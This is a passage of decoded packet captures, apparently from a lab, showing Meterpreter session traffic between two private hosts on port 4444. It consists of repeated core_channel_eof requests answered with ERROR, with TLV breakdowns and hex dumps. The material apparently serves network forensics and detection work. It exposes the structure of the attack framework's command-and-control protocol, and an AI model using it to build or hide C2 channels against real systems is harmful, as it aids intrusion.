    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002323639343934383233383333393730393... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 32363934393438323338333339373039323630333432383... [Value] 26949482383397092603428389441226
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c cd 40 00 80 06 6a 09 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a9 6d 2e 7d 1c bb 50 18   .*.P.\.x.m.}..P.
0030  08 00 f5 f6 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  36 39 34 39 34 38 32 33 38 33 33 39 37 30 39 32   6949482383397092
0070  36 30 33 34 32 38 33 38 39 34 34 31 32 32 36 00   603428389441226.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     61 1688.902838    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=2632 Ack=3181 Win=96
Len=86
Frame 61: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 2632, Ack: 3181, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002363532343035383333343033383337323... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 36353234303538333334303338333732363834303838383839... [Value] 65240583340383726840888980380215
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 1c 40 00 40 06 52 ba c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1c bb a3 78 a9 c3 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 36   el_eof....)....6
0060  35 32 34 30 35 38 33 33 34 30 33 38 33 37 32 36   5240583340383726
0070  38 34 30 38 38 38 39 38 30 33 38 30 32 31 35 00   840888980380215.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     62 1688.908320    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=3181 Ack=2718 
Win=2048 Len=86
Frame 62: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 3181, Ack: 2718, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000236353234303538333334303338333732... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 36353234303538333334303338333732363834303838839... [Value] 65240583340383726840888980380215
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c ce 40 00 80 06 6a 08 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a9 c3 2e 7d 1d 11 50 18   .*.P.\.x...}..P.
0030  08 00 fe 4a 00 00 00 00 00 56 00 00 00 01 00 00   ...J.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 36   el_eof....)....6
0060  35 32 34 30 35 38 33 33 34 30 33 38 33 37 32 36   5240583340383726
0070  38 34 30 38 38 38 39 38 30 33 38 30 32 31 35 00   840888980380215.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     63 1749.204879    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=2718 Ack=3267 Win=96
Len=86
Frame 63: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 2718, Ack: 3267, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023233323938303635363537313530353531... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 32333239383036353635373135303531373730353734333338... [Value] 23298065657150517705743813059590
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 1e 40 00 40 06 52 b8 c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1d 11 a3 78 aa 19 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  33 32 39 38 30 36 35 36 35 37 31 35 30 35 31 37   3298065657150517
0070  37 30 35 37 34 33 38 31 33 30 35 39 35 39 30 00   705743813059590.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     64 1749.206675    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=3267 Ack=2804
Win=2048 Len=86
Frame 64: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 3267, Ack: 2804, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023233323938303635363537313530353 1... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 32333239383036353635373135303531373730353734333 8... [Value] 23298065657150517705743813059590
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c d0 40 00 80 06 6a 06 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 aa 19 2e 7d 1d 67 50 18   .*.P.\.x...}.gP.
0030  08 00 05 9a 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  33 32 39 38 30 36 35 36 35 37 31 35 30 35 31 37   3298065657150517
0070  37 30 35 37 34 33 38 31 33 30 35 39 35 39 30 00   705743813059590.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     65 1809.305996    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=2804 Ack=3353 Win=96
Len=86
Frame 65: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 2804, Ack: 3353, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023238353234373338343534313934343430... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 32383532343733383435343139343430343537343637303033... [Value] 28524738454194404574670312424324
Meterpreter protocol, TLV details
    Data: 0000000c0002003200000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 20 40 00 40 06 52 b6 c0 a8 01 2a c0 a8   .~d @.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1d 67 a3 78 aa 6f 50 18   .).\.P.}.g.x.oP.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  38 35 32 34 37 33 38 34 35 34 31 39 34 34 30 34   8524738454194404
0070  35 37 34 36 37 30 33 31 32 34 32 34 33 32 34 00   574670312424324.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     66 1809.307181    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=3353 Ack=2890
Win=2047 Len=86
Frame 66: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 3353, Ack: 2890, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023238353234373338343534313934343430... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 32383532343733383435343139343430343537343637303033... [Value] 28524738454194404574670312424324
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c d1 40 00 80 06 6a 05 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 aa 6f 2e 7d 1d bd 50 18   .*.P.\.x.o.}..P.
0030  07 ff 00 fd 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  38 35 32 34 37 33 38 34 35 34 31 39 34 34 30 34   8524738454194404
0070  35 37 34 36 37 30 33 31 32 34 32 34 33 32 34 00   574670312424324.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     67 1869.616679    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=2890 Ack=3439 Win=96
Len=86
Frame 67: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 2890, Ack: 3439, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023138353331383235363330393033343434... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3138353331383235363330393033343436373138323734323432... [Value] 18531825630903446718274234426927
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 22 40 00 40 06 52 b4 c0 a8 01 2a c0 a8   .~d"@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1d bd a3 78 aa c5 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 31   el_eof....)....1
0060  38 35 33 31 38 32 35 36 33 30 39 30 33 34 34 36   8531825630903446
0070  37 31 38 32 37 34 32 33 34 34 32 36 39 32 37 00   718274234426927.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     68 1869.617187    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=3439 Ack=2976
Win=2053 Len=86
Frame 68: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 3439, Ack: 2976, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002313835333138323536333039303334... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 31383533313832353633303930333434363731383237343432... [Value] 18531825630903446718274234426927
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c d2 40 00 80 06 6a 04 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 aa c5 2e 7d 1e 13 50 18   .*.P.\.x...}..P.
0030  08 05 e8 5a 00 00 00 00 00 56 00 00 00 01 00 00   ...Z.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 31   el_eof....)....1
0060  38 35 33 31 38 32 35 36 33 30 39 30 33 34 34 36   8531825630903446
0070  37 31 38 32 37 34 32 33 34 34 32 36 39 32 37 00   718274234426927.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     69 1929.900176    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=2976 Ack=3525 Win=96
Len=86
Frame 69: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 2976, Ack: 3525, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343933353039333033343633323939373... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 343933353039333033343633323939373032393032313435... [Value] 49350930346329970290214597265876
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 24 40 00 40 06 52 b2 c0 a8 01 2a c0 a8   .~d$@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1e 13 a3 78 ab 1b 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  39 33 35 30 39 33 30 33 34 36 33 32 39 39 37 30   9350930346329970
0070  32 39 30 32 31 34 35 39 37 32 36 35 38 37 36 00   290214597265876.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     70 1929.901374    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=3525 Ack=3062
Win=2052 Len=86
Frame 70: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 3525, Ack: 3062, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343933353039333033343633323939373... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 343933353039333033343633323939373032393032313435... [Value] 49350930346329970290214597265876
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c d3 40 00 80 06 6a 03 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 ab 1b 2e 7d 1e 69 50 18   .*.P.\.x...}.iP.
0030  08 04 ef 9a 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  39 33 35 30 39 33 30 33 34 36 33 32 39 39 37 30   9350930346329970
0070  32 39 30 32 31 34 35 39 37 32 36 35 38 37 36 00   290214597265876.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     71 1990.155422    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=3062 Ack=3611 Win=96
Len=86
Frame 71: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 3062, Ack: 3611, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023236393837333335373532313931373735... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 32363938373333353735323139313735313137353630333335... [Value] 26987335752191751175603589119292
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 26 40 00 40 06 52 b0 c0 a8 01 2a c0 a8   .~d&@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1e 69 a3 78 ab 71 50 18   .).\.P.}.i.x.qP.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  36 39 38 37 33 33 35 37 35 32 31 39 31 37 35 31   6987335752191751
0070  31 37 35 36 30 33 35 38 39 31 31 39 32 39 32 00   175603589119292.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     72 1990.156233    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=3611 Ack=3148
Win=2052 Len=86
Frame 72: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 3611, Ack: 3148, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000232363938373333353735323139313735... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 32363938373333353735323139313735313137353630333335... [Value] 26987335752191751175603589119292
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c fa 40 00 80 06 69 dc c0 a8 01 29 c0 a8   .~..@...i....)..
0020  01 2a c6 50 11 5c a3 78 ab 71 2e 7d 1e bf 50 18   .*.P.\.x.q.}..P.
0030  08 04 04 d9 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  36 39 38 37 33 33 35 37 35 32 31 39 31 37 35 31   6987335752191751
